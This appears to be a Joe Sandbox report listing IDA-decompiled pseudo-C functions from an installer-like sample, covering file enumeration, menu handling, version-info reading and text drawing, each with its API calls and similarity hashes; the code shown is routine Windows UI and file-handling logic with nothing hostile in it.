                                                          						E004035DC( &_v372, _v12);
                                                          						E004036C4( &_v372, _v16);
                                                          						E004036C4( &_v372, 0x46a53c);
                                                          						_t241 =  &_v368;
                                                          						_v40 = E00451554(_v5,  &_v368, _v372, __eflags);
                                                          						__eflags = _v40 - 0xffffffff;
                                                          						if(_v40 == 0xffffffff) {
                                                          							goto L23;
                                                          						} else {
                                                          							__eflags = 0;
                                                          							_push(_t294);
                                                          							_push(0x46a473);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t296;
                                                          							do {
                                                          								_t178 = E004727E8( &_v368);
                                                          								__eflags = _t178;
                                                          								if(_t178 != 0) {
                                                          									E004035DC( &_v372, _v16);
                                                          									E004036A4( &_v376, 0x104,  &(_v368.cFileName));
                                                          									E004036C4( &_v372, _v376);
                                                          									E004036C4( &_v372, 0x46a548);
                                                          									_t201 = E0046A180(_v5, 0, _v372, _v12, _t291, _t292, __eflags, _a4, _a8, _a12, _a16, _a20, _a24) | _v17;
                                                          									__eflags = _t201;
                                                          									_v17 = _t201;
                                                          								}
                                                          								_t181 = FindNextFileA(_v40,  &_v368);
                                                          								__eflags = _t181;
                                                          							} while (_t181 != 0);
                                                          							__eflags = 0;
                                                          							_pop(_t275);
                                                          							 *[fs:eax] = _t275;
                                                          							_push(0x46a47a);
                                                          							return FindClose(_v40);
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_push(_t294);
                                                          					_push(0x46a351);
                                                          					_push( *[fs:edx]);
                                                          					 *[fs:edx] = _t296;
                                                          					do {
                                                          						_t202 = _v368.dwFileAttributes;
                                                          						if((_t202 & 0x00000010) == 0) {
                                                          							if(_a16 == 0) {
                                                          								E004035DC( &_v28, _a20);
                                                          								L7:
                                                          								_v17 = 1;
                                                          								_push(_v12);
                                                          								_push(_v16);
                                                          								_push(_v28);
                                                          								E0040377C();
                                                          								E004717F8( *((intOrPtr*)(_a12 + 4)), _t241,  &_v36);
                                                          								if(( *(_a12 + 0x4b) & 0x00000010) != 0) {
                                                          									__eflags = _v16;
                                                          									if(_v16 != 0) {
                                                          										E0042CA40(_v36, _t241,  &_v372);
                                                          										_push(_v372);
                                                          										_push(_v16);
                                                          										E0042CA18(_v36, _t241,  &_v376);
                                                          										_push(_v376);
                                                          										E0040377C();
                                                          									}
                                                          								} else {
                                                          									_push(_v36);
                                                          									_push(_v16);
                                                          									_push(_v28);
                                                          									E0040377C();
                                                          								}
                                                          								_v44 = _v368.nFileSizeHigh;
                                                          								_v48 = _v368.nFileSizeLow;
                                                          								_t219 = E00430178( &_v48, _a4);
                                                          								_t304 = _t219;
                                                          								if(_t219 > 0) {
                                                          									_t229 = _a4;
                                                          									_v48 =  *_t229;
                                                          									_v44 =  *((intOrPtr*)(_t229 + 4));
                                                          								}
                                                          								E00468940(_a12, 0, _v32, _v5, _t291, _t292, _t304,  &_v48, _a8, _v36,  *((intOrPtr*)(_a24 + 8))); // executed
                                                          								_pop(_t241);
                                                          								E004301A0(_a4,  &_v48);
                                                          							} else {
                                                          								if((_t202 & 0x00000002) == 0) {
                                                          									_t241 = 0x104;
                                                          									E004036A4( &_v28, 0x104,  &(_v368.cFileName));
                                                          									goto L7;
                                                          								}
                                                          							}
                                                          						}
                                                          						_t205 = FindNextFileA(_v40,  &_v368); // executed
                                                          					} while (_t205 != 0);
                                                          					_pop(_t283);
                                                          					 *[fs:eax] = _t283;
                                                          					_push(0x46a358);
                                                          					return FindClose(_v40);
                                                          				}
                                                          			}



































                                                          0x0046a180
                                                          0x0046a180
                                                          0x0046a181
                                                          0x0046a183
                                                          0x0046a189
                                                          0x0046a18a
                                                          0x0046a18b
                                                          0x0046a18e
                                                          0x0046a194
                                                          0x0046a19a
                                                          0x0046a19d
                                                          0x0046a1a0
                                                          0x0046a1a3
                                                          0x0046a1a6
                                                          0x0046a1a9
                                                          0x0046a1ac
                                                          0x0046a1b1
                                                          0x0046a1b2
                                                          0x0046a1b7
                                                          0x0046a1ba
                                                          0x0046a1bd
                                                          0x0046a1c0
                                                          0x0046a1c3
                                                          0x0046a1ce
                                                          0x0046a1d3
                                                          0x0046a1d7
                                                          0x0046a1e3
                                                          0x0046a1e8
                                                          0x0046a1ef
                                                          0x0046a358
                                                          0x0046a35b
                                                          0x0046a35f
                                                          0x0046a47a
                                                          0x0046a47a
                                                          0x0046a47e
                                                          0x0046a480
                                                          0x0046a483
                                                          0x0046a487
                                                          0x0046a489
                                                          0x0046a48d
                                                          0x0046a498
                                                          0x0046a49d
                                                          0x0046a4a0
                                                          0x0046a4a4
                                                          0x0046a4bc
                                                          0x0046a4cd
                                                          0x0046a4a6
                                                          0x0046a4ac
                                                          0x0046a4ac
                                                          0x0046a4d9
                                                          0x0046a4e5
                                                          0x0046a4eb
                                                          0x0046a4eb
                                                          0x0046a48d
                                                          0x0046a487
                                                          0x0046a4ef
                                                          0x0046a4f4
                                                          0x0046a4f6
                                                          0x0046a4f9
                                                          0x0046a4fc
                                                          0x0046a50c
                                                          0x0046a51e
                                                          0x0046a365
                                                          0x0046a36e
                                                          0x0046a37c
                                                          0x0046a38c
                                                          0x0046a397
                                                          0x0046a3a5
                                                          0x0046a3a8
                                                          0x0046a3ac
                                                          0x00000000
                                                          0x0046a3b2
                                                          0x0046a3b2
                                                          0x0046a3b4
                                                          0x0046a3b5
                                                          0x0046a3ba
                                                          0x0046a3bd
                                                          0x0046a3c0
                                                          0x0046a3c6
                                                          0x0046a3cb
                                                          0x0046a3cd
                                                          0x0046a3f0
                                                          0x0046a406
                                                          0x0046a417
                                                          0x0046a427
                                                          0x0046a43e
                                                          0x0046a43e
                                                          0x0046a441
                                                          0x0046a441
                                                          0x0046a44f
                                                          0x0046a454
                                                          0x0046a454
                                                          0x0046a45c
                                                          0x0046a45e
                                                          0x0046a461
                                                          0x0046a464
                                                          0x0046a472
                                                          0x0046a472
                                                          0x0046a3ac
                                                          0x0046a1f5
                                                          0x0046a1f7
                                                          0x0046a1f8
                                                          0x0046a1fd
                                                          0x0046a200
                                                          0x0046a203
                                                          0x0046a203
                                                          0x0046a20b
                                                          0x0046a215
                                                          0x0046a23a
                                                          0x0046a23f
                                                          0x0046a23f
                                                          0x0046a243
                                                          0x0046a246
                                                          0x0046a249
                                                          0x0046a254
                                                          0x0046a262
                                                          0x0046a26e
                                                          0x0046a288
                                                          0x0046a28c
                                                          0x0046a297
                                                          0x0046a29c
                                                          0x0046a2a2
                                                          0x0046a2ae
                                                          0x0046a2b3
                                                          0x0046a2c1
                                                          0x0046a2c1
                                                          0x0046a270
                                                          0x0046a270
                                                          0x0046a273
                                                          0x0046a276
                                                          0x0046a281
                                                          0x0046a281
                                                          0x0046a2cc
                                                          0x0046a2d5
                                                          0x0046a2de
                                                          0x0046a2e3
                                                          0x0046a2e5
                                                          0x0046a2e7
                                                          0x0046a2ec
                                                          0x0046a2f2
                                                          0x0046a2f2
                                                          0x0046a311
                                                          0x0046a316
                                                          0x0046a31d
                                                          0x0046a217
                                                          0x0046a219
                                                          0x0046a228
                                                          0x0046a22d
                                                          0x00000000
                                                          0x0046a22d
                                                          0x0046a219
                                                          0x0046a215
                                                          0x0046a32d
                                                          0x0046a332
                                                          0x0046a33c
                                                          0x0046a33f
                                                          0x0046a342
                                                          0x0046a350
                                                          0x0046a350

                                                          APIs
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0046A351,?,00000000,?,00000001,00000000,0046A51F,?,00000000,?,00000000,?,0046A6DA), ref: 0046A32D
                                                          • FindClose.KERNEL32(000000FF,0046A358,0046A351,?,00000000,?,00000001,00000000,0046A51F,?,00000000,?,00000000,?,0046A6DA,?), ref: 0046A34B
                                                          • FindNextFileA.KERNEL32(000000FF,?,00000000,0046A473,?,00000000,?,00000001,00000000,0046A51F,?,00000000,?,00000000,?,0046A6DA), ref: 0046A44F
                                                          • FindClose.KERNEL32(000000FF,0046A47A,0046A473,?,00000000,?,00000001,00000000,0046A51F,?,00000000,?,00000000,?,0046A6DA,?), ref: 0046A46D
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Find$CloseFileNext
                                                          • String ID:
                                                          • API String ID: 2066263336-0
                                                          • Opcode ID: 294d79ef239de1fcae8baf2263a9889459780b3b46a448b2492d111743f09885
                                                          • Instruction ID: a82012230103e7de8c84eb21cb6725401f41e223b04aad5c0a9f60ceb40b9f84
                                                          • Opcode Fuzzy Hash: 294d79ef239de1fcae8baf2263a9889459780b3b46a448b2492d111743f09885
                                                          • Instruction Fuzzy Hash: 9BB12D7490424DAFCF11DFA9C841ADEBBB8BF49304F5081AAE808B3351E7399A55CF56
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0042148C(void* __eax, intOrPtr __edx) {
                                                          				void* __ebx;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				void* _t42;
                                                          				struct HMENU__* _t51;
                                                          				intOrPtr _t58;
                                                          				intOrPtr _t60;
                                                          				intOrPtr _t62;
                                                          				void* _t67;
                                                          				void* _t82;
                                                          				intOrPtr _t83;
                                                          				void* _t85;
                                                          				void* _t86;
                                                          				void* _t87;
                                                          				intOrPtr* _t88;
                                                          
                                                          				_t88 = _t87 + 0xfffffff8;
                                                          				_t83 = __edx;
                                                          				_t67 = __eax;
                                                          				if(__edx == 0) {
                                                          					L7:
                                                          					_t23 =  *((intOrPtr*)(_t67 + 0x124));
                                                          					if( *((intOrPtr*)(_t67 + 0x124)) != 0) {
                                                          						E004126E8(_t23, 0);
                                                          					}
                                                          					 *((intOrPtr*)(_t67 + 0x124)) = _t83;
                                                          					if(_t83 != 0) {
                                                          						E004104F0(_t83, _t67);
                                                          					}
                                                          					if(_t83 == 0 || ( *(_t67 + 0x1c) & 0x00000010) == 0 &&  *((char*)(_t67 + 0x111)) == 3) {
                                                          						if(E00418590(_t67) != 0) {
                                                          							SetMenu(E004183F8(_t67), 0); // executed
                                                          						}
                                                          						goto L26;
                                                          					} else {
                                                          						if( *((char*)( *((intOrPtr*)(_t67 + 0x124)) + 0x34)) != 0 ||  *((char*)(_t67 + 0x116)) == 1) {
                                                          							if(( *(_t67 + 0x1c) & 0x00000010) == 0) {
                                                          								if( *((char*)(_t67 + 0x116)) != 1 && E00418590(_t67) != 0) {
                                                          									SetMenu(E004183F8(_t67), 0);
                                                          								}
                                                          								goto L26;
                                                          							}
                                                          							goto L17;
                                                          						} else {
                                                          							L17:
                                                          							if(E00418590(_t67) != 0) {
                                                          								_t42 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x124)))) + 0x2c))();
                                                          								if(_t42 != GetMenu(E004183F8(_t67))) {
                                                          									_t51 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + 0x124)))) + 0x2c))();
                                                          									SetMenu(E004183F8(_t67), _t51);
                                                          								}
                                                          								E004126E8(_t83, E004183F8(_t67));
                                                          							}
                                                          							L26:
                                                          							if( *((char*)(_t67 + 0x115)) != 0) {
                                                          								E00422044(_t67, 0xf0c0, 1);
                                                          							}
                                                          							return E004213D4(_t67);
                                                          						}
                                                          					}
                                                          				}
                                                          				_t58 =  *0x48d62c; // 0x21c0660
                                                          				_t85 = E004233D4(_t58) - 1;
                                                          				if(_t85 >= 0) {
                                                          					_t86 = _t85 + 1;
                                                          					_t82 = 0;
                                                          					do {
                                                          						_t60 =  *0x48d62c; // 0x21c0660
                                                          						if(_t83 ==  *((intOrPtr*)(E004233C8(_t60) + 0x124))) {
                                                          							_t62 =  *0x48d62c; // 0x21c0660
                                                          							if(_t67 != E004233C8(_t62)) {
                                                          								 *_t88 =  *((intOrPtr*)(_t83 + 8));
                                                          								 *((char*)(_t88 + 4)) = 0xb;
                                                          								E00408F10(_t67, 0xf0c0, 1, _t82, _t83, 0, _t88);
                                                          								E00403264();
                                                          							}
                                                          						}
                                                          						_t82 = _t82 + 1;
                                                          						_t86 = _t86 - 1;
                                                          					} while (_t86 != 0);
                                                          				}
                                                          			}



















                                                          0x00421490
                                                          0x00421493
                                                          0x00421495
                                                          0x00421499
                                                          0x004214fb
                                                          0x004214fb
                                                          0x00421503
                                                          0x00421507
                                                          0x00421507
                                                          0x0042150c
                                                          0x00421514
                                                          0x0042151a
                                                          0x0042151a
                                                          0x00421521
                                                          0x004215db
                                                          0x004215e7
                                                          0x004215e7
                                                          0x00000000
                                                          0x0042153a
                                                          0x00421544
                                                          0x00421553
                                                          0x004215b4
                                                          0x004215cb
                                                          0x004215cb
                                                          0x00000000
                                                          0x004215b4
                                                          0x00000000
                                                          0x00421555
                                                          0x00421555
                                                          0x0042155e
                                                          0x0042156c
                                                          0x00421580
                                                          0x0042158a
                                                          0x00421596
                                                          0x00421596
                                                          0x004215a6
                                                          0x004215a6
                                                          0x004215ec
                                                          0x004215f3
                                                          0x004215f9
                                                          0x004215f9
                                                          0x0042160b
                                                          0x0042160b
                                                          0x00421544
                                                          0x00421521
                                                          0x0042149b
                                                          0x004214a7
                                                          0x004214aa
                                                          0x004214ac
                                                          0x004214ad
                                                          0x004214af
                                                          0x004214b1
                                                          0x004214c1
                                                          0x004214c5
                                                          0x004214d1
                                                          0x004214d6
                                                          0x004214d9
                                                          0x004214ed
                                                          0x004214f2
                                                          0x004214f2
                                                          0x004214d1
                                                          0x004214f7
                                                          0x004214f8
                                                          0x004214f8
                                                          0x004214af

                                                          APIs
                                                          • GetMenu.USER32(00000000), ref: 00421579
                                                          • SetMenu.USER32(00000000,00000000), ref: 00421596
                                                          • SetMenu.USER32(00000000,00000000), ref: 004215CB
                                                          • SetMenu.USER32(00000000,00000000), ref: 004215E7
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Menu
                                                          • String ID:
                                                          • API String ID: 3711407533-0
                                                          • Opcode ID: 2d98442f7f3c7a24e9ece8491d25aa1f4834b78dbb4ad1e035a30f993f8538ab
                                                          • Instruction ID: 3d42649376b66fd7527fa433ea7a01c3de4e88dfb28b703c9b8d1e7910d39afa
                                                          • Opcode Fuzzy Hash: 2d98442f7f3c7a24e9ece8491d25aa1f4834b78dbb4ad1e035a30f993f8538ab
                                                          • Instruction Fuzzy Hash: 2441C6307002641BD721BB3A988579A26954F95318F4805BFBD46DF3A7CE7DCC84875D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 53%
                                                          			E004511E8(void* __eax, void* __edx) {
                                                          				void* _v8;
                                                          				char _v9;
                                                          				char _v16;
                                                          				intOrPtr _v20;
                                                          				void* _v24;
                                                          				char _v28;
                                                          				void* _t29;
                                                          				intOrPtr _t36;
                                                          				intOrPtr _t46;
                                                          				intOrPtr _t52;
                                                          				void* _t56;
                                                          				intOrPtr _t67;
                                                          				intOrPtr _t69;
                                                          				void* _t72;
                                                          				void* _t81;
                                                          				void* _t86;
                                                          				void* _t88;
                                                          				intOrPtr _t89;
                                                          
                                                          				_t86 = _t88;
                                                          				_t89 = _t88 + 0xffffffe8;
                                                          				_v8 = __edx;
                                                          				_t81 = __eax;
                                                          				_v9 = 0;
                                                          				_push( &_v16);
                                                          				_t29 = E00403880(__eax);
                                                          				_t72 = _t29;
                                                          				_push(_t72); // executed
                                                          				L00405C94(); // executed
                                                          				_t56 = _t29;
                                                          				if(_t56 <= 0) {
                                                          					__eflags =  *0x48c0e0 - 1;
                                                          					if(__eflags == 0) {
                                                          						L10:
                                                          						return _v9;
                                                          					} else {
                                                          						_v20 = E00451030(_t81, __eflags);
                                                          						__eflags = _v20;
                                                          						if(_v20 == 0) {
                                                          							goto L10;
                                                          						} else {
                                                          							_push(_t86);
                                                          							_push(0x4512f6);
                                                          							_push( *[fs:eax]);
                                                          							 *[fs:eax] = _t89;
                                                          							_push( &_v28);
                                                          							_push( &_v24);
                                                          							_push(E00451308);
                                                          							_t36 = _v20;
                                                          							_push(_t36);
                                                          							L00405C9C();
                                                          							__eflags = _t36;
                                                          							if(_t36 != 0) {
                                                          								memcpy(_v8, _v24, 0xd << 2);
                                                          								_v9 = 1;
                                                          							}
                                                          							__eflags = 0;
                                                          							_pop(_t67);
                                                          							 *[fs:eax] = _t67;
                                                          							_push(E004512FD);
                                                          							return E00402668(_v20);
                                                          						}
                                                          					}
                                                          				} else {
                                                          					_v20 = E00402650(_t56);
                                                          					_push(_t86);
                                                          					_push(0x451283);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t89;
                                                          					_push(_v20);
                                                          					_push(_t56);
                                                          					_t46 = _v16;
                                                          					_push(_t46);
                                                          					_push(_t72); // executed
                                                          					L00405C8C(); // executed
                                                          					if(_t46 != 0) {
                                                          						_push( &_v28);
                                                          						_push( &_v24);
                                                          						_push(E00451308);
                                                          						_t52 = _v20;
                                                          						_push(_t52);
                                                          						L00405C9C();
                                                          						if(_t52 != 0) {
                                                          							memcpy(_v8, _v24, 0xd << 2);
                                                          							_v9 = 1;
                                                          						}
                                                          					}
                                                          					_pop(_t69);
                                                          					 *[fs:eax] = _t69;
                                                          					_push(E004512FD);
                                                          					return E00402668(_v20);
                                                          				}
                                                          			}





















                                                          0x004511e9
                                                          0x004511eb
                                                          0x004511f1
                                                          0x004511f4
                                                          0x004511f6
                                                          0x004511fd
                                                          0x00451200
                                                          0x00451205
                                                          0x00451207
                                                          0x00451208
                                                          0x0045120d
                                                          0x00451211
                                                          0x0045128a
                                                          0x00451291
                                                          0x004512fd
                                                          0x00451306
                                                          0x00451293
                                                          0x0045129a
                                                          0x0045129d
                                                          0x004512a1
                                                          0x00000000
                                                          0x004512a3
                                                          0x004512a5
                                                          0x004512a6
                                                          0x004512ab
                                                          0x004512ae
                                                          0x004512b4
                                                          0x004512b8
                                                          0x004512b9
                                                          0x004512be
                                                          0x004512c1
                                                          0x004512c2
                                                          0x004512c7
                                                          0x004512c9
                                                          0x004512da
                                                          0x004512dc
                                                          0x004512dc
                                                          0x004512e0
                                                          0x004512e2
                                                          0x004512e5
                                                          0x004512e8
                                                          0x004512f5
                                                          0x004512f5
                                                          0x004512a1
                                                          0x00451213
                                                          0x0045121a
                                                          0x0045121f
                                                          0x00451220
                                                          0x00451225
                                                          0x00451228
                                                          0x0045122e
                                                          0x0045122f
                                                          0x00451230
                                                          0x00451233
                                                          0x00451234
                                                          0x00451235
                                                          0x0045123c
                                                          0x00451241
                                                          0x00451245
                                                          0x00451246
                                                          0x0045124b
                                                          0x0045124e
                                                          0x0045124f
                                                          0x00451256
                                                          0x00451267
                                                          0x00451269
                                                          0x00451269
                                                          0x00451256
                                                          0x0045126f
                                                          0x00451272
                                                          0x00451275
                                                          0x00451282
                                                          0x00451282

                                                          APIs
                                                          • 739214E0.VERSION(00000000,?,?,?,0048A045), ref: 00451208
                                                          • 739214C0.VERSION(00000000,?,00000000,?,00000000,00451283,?,00000000,?,?,?,0048A045), ref: 00451235
                                                          • 73921500.VERSION(?,00451308,?,?,00000000,?,00000000,?,00000000,00451283,?,00000000,?,?,?,0048A045), ref: 0045124F
                                                          • 73921500.VERSION(00000000,00451308,?,?,00000000,004512F6,?,00000000,?,?,?,0048A045), ref: 004512C2
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: 73921473921500
                                                          • String ID:
                                                          • API String ID: 3586553354-0
                                                          • Opcode ID: f7e4e4ed3569b35cf546f216edbd6151e9e7466a9b97aa4cce73bd1d26bc1a8f
                                                          • Instruction ID: 2b2576b2faa4cae369ab06eec08a2510d44d6eb7512a2294fec8a1cdf2a6db1e
                                                          • Opcode Fuzzy Hash: f7e4e4ed3569b35cf546f216edbd6151e9e7466a9b97aa4cce73bd1d26bc1a8f
                                                          • Instruction Fuzzy Hash: 85319035A04208AFDB01DAA9CC41BBFB7E8EB49740F5144B6FC00E3691DA799D04C769
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 64%
                                                          			E0044B1F8(struct HDC__* __eax, void* __ebx, void* __edi, void* __esi) {
                                                          				struct HDC__* _v8;
                                                          				void* _v12;
                                                          				struct HDC__* _v16;
                                                          				struct tagRECT _v32;
                                                          				struct HDC__* _t49;
                                                          				signed int _t57;
                                                          				int _t61;
                                                          				struct HDC__* _t67;
                                                          				intOrPtr _t75;
                                                          				intOrPtr _t79;
                                                          				void* _t83;
                                                          				void* _t84;
                                                          				intOrPtr _t85;
                                                          				intOrPtr _t89;
                                                          
                                                          				_t81 = __esi;
                                                          				_t80 = __edi;
                                                          				_t68 = __ebx;
                                                          				_t83 = _t84;
                                                          				_t85 = _t84 + 0xffffffe4;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v12 = 0;
                                                          				_v8 = __eax;
                                                          				_push(_t83);
                                                          				_push(0x44b33b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t85;
                                                          				if(( *(_v8 + 0x1c) & 0x00000002) != 0 ||  *((char*)(_v8 + 0xfc)) == 0) {
                                                          					__eflags = 0;
                                                          					_pop(_t75);
                                                          					 *[fs:eax] = _t75;
                                                          					_push(E0044B342);
                                                          					return E00403548( &_v12);
                                                          				} else {
                                                          					_t71 =  *((intOrPtr*)(_v8 + 0x2c));
                                                          					E0040AE50(0,  *((intOrPtr*)(_v8 + 0x2c)), 0,  &_v32, 0);
                                                          					if(_v32.right > 0) {
                                                          						_t13 =  &(_v32.right);
                                                          						 *_t13 = _v32.right - 1;
                                                          						_t89 =  *_t13;
                                                          					}
                                                          					E00414D00(_v8,  &_v12, _t89);
                                                          					if(_v12 == 0) {
                                                          						L8:
                                                          						_t49 = E004036C4( &_v12, 0x44b354);
                                                          					} else {
                                                          						_t49 = _v8;
                                                          						if( *((char*)(_t49 + 0x104)) != 0) {
                                                          							_t49 = _v12;
                                                          							if( *_t49 == 0x26) {
                                                          								_t49 = _v12;
                                                          								if(_t49->i == 0) {
                                                          									goto L8;
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          					_push(0);
                                                          					L00406034();
                                                          					_v16 = _t49;
                                                          					_push(_t83);
                                                          					_push(0x44b300);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t85;
                                                          					SelectObject(_v16, E0041A400( *((intOrPtr*)(_v8 + 0x44)), _t68, _t71, _t80, _t81));
                                                          					_t57 = E0044B1D4(_v8);
                                                          					_t61 = E004036BC(_v12);
                                                          					DrawTextA(_v16, E00403880(_v12), _t61,  &_v32, _t57 | 0x00000400); // executed
                                                          					_pop(_t79);
                                                          					 *[fs:eax] = _t79;
                                                          					_push(E0044B307);
                                                          					_t67 = _v16;
                                                          					_push(_t67);
                                                          					_push(0);
                                                          					L0040621C();
                                                          					return _t67;
                                                          				}
                                                          			}

















                                                          0x0044b1f8
                                                          0x0044b1f8
                                                          0x0044b1f8
                                                          0x0044b1f9
                                                          0x0044b1fb
                                                          0x0044b1fe
                                                          0x0044b1ff
                                                          0x0044b200
                                                          0x0044b203
                                                          0x0044b206
                                                          0x0044b20b
                                                          0x0044b20c
                                                          0x0044b211
                                                          0x0044b214
                                                          0x0044b21e
                                                          0x0044b325
                                                          0x0044b327
                                                          0x0044b32a
                                                          0x0044b32d
                                                          0x0044b33a
                                                          0x0044b234
                                                          0x0044b23d
                                                          0x0044b244
                                                          0x0044b24d
                                                          0x0044b24f
                                                          0x0044b24f
                                                          0x0044b24f
                                                          0x0044b24f
                                                          0x0044b258
                                                          0x0044b261
                                                          0x0044b280
                                                          0x0044b288
                                                          0x0044b263
                                                          0x0044b263
                                                          0x0044b26d
                                                          0x0044b26f
                                                          0x0044b275
                                                          0x0044b277
                                                          0x0044b27e
                                                          0x00000000
                                                          0x00000000
                                                          0x0044b27e
                                                          0x0044b275
                                                          0x0044b26d
                                                          0x0044b28d
                                                          0x0044b28f
                                                          0x0044b294
                                                          0x0044b299
                                                          0x0044b29a
                                                          0x0044b29f
                                                          0x0044b2a2
                                                          0x0044b2b5
                                                          0x0044b2bd
                                                          0x0044b2cf
                                                          0x0044b2e2
                                                          0x0044b2e9
                                                          0x0044b2ec
                                                          0x0044b2ef
                                                          0x0044b2f4
                                                          0x0044b2f7
                                                          0x0044b2f8
                                                          0x0044b2fa
                                                          0x0044b2ff
                                                          0x0044b2ff

                                                          APIs
                                                          • 72E5AC50.USER32(00000000,?,00000000,00000000,0044B33B,?,?,?,?), ref: 0044B28F
                                                          • SelectObject.GDI32(?,00000000), ref: 0044B2B5
                                                          • DrawTextA.USER32(?,00000000,00000000,?,00000000), ref: 0044B2E2
                                                          • 72E5B380.USER32(00000000,?,0044B307,0044B300,?,00000000,?,00000000,00000000,0044B33B,?,?,?,?), ref: 0044B2FA
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B380DrawObjectSelectText
                                                          • String ID:
                                                          • API String ID: 1652335368-0
                                                          • Opcode ID: ab575cbd0e50acc1dc34e348634044fcc5ef1fbbd83519599d04753732d9ac63
                                                          • Instruction ID: df07f0af1432bdc337ff5497d715d1ed35d162d271ac499453df1447799ef9a4
                                                          • Opcode Fuzzy Hash: ab575cbd0e50acc1dc34e348634044fcc5ef1fbbd83519599d04753732d9ac63
                                                          • Instruction Fuzzy Hash: A4316070A04208BFEB11DFA6C845F9EBBF8EB44304F5180AAF404E7291D7789E44CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00416D5A(void* __eax, int* __edx) {
                                                          				void* _t21;
                                                          				long _t23;
                                                          				long _t37;
                                                          				long _t42;
                                                          				int _t47;
                                                          				struct HWND__* _t50;
                                                          
                                                          				_t49 = __edx;
                                                          				_t43 = __eax;
                                                          				_t50 =  *(__eax + 0xc0);
                                                          				if(_t50 == 0) {
                                                          					return E00415534(__eax, __edx);
                                                          				}
                                                          				_t47 =  *__edx;
                                                          				_t21 = _t47 + 0xfffffece - 7;
                                                          				if(_t21 < 0) {
                                                          					_t23 = SendMessageA(__edx[2], _t47 + 0xbc00, __edx[1], __edx[2]);
                                                          					 *(_t49 + 0xc) = _t23;
                                                          					return _t23;
                                                          				}
                                                          				if(_t21 + 0xffff4407 - 7 < 0) {
                                                          					SetTextColor(__edx[1], E0041A270( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x44)) + 0x10))));
                                                          					SetBkColor(__edx[1], E0041A270(E0041A8BC( *((intOrPtr*)(_t43 + 0xbc)))));
                                                          					_t37 = E0041A8F8( *((intOrPtr*)(_t43 + 0xbc)));
                                                          					 *(_t49 + 0xc) = _t37;
                                                          					return _t37;
                                                          				}
                                                          				_t42 = CallWindowProcA( *(__eax + 0xac), _t50,  *__edx, __edx[1], __edx[2]); // executed
                                                          				 *(_t49 + 0xc) = _t42;
                                                          				return _t42;
                                                          			}









                                                          0x00416d60
                                                          0x00416d62
                                                          0x00416d64
                                                          0x00416d6c
                                                          0x00000000
                                                          0x00416e06
                                                          0x00416d72
                                                          0x00416d7b
                                                          0x00416d7e
                                                          0x00416d9c
                                                          0x00416da1
                                                          0x00000000
                                                          0x00416da1
                                                          0x00416d88
                                                          0x00416db6
                                                          0x00416dd0
                                                          0x00416ddb
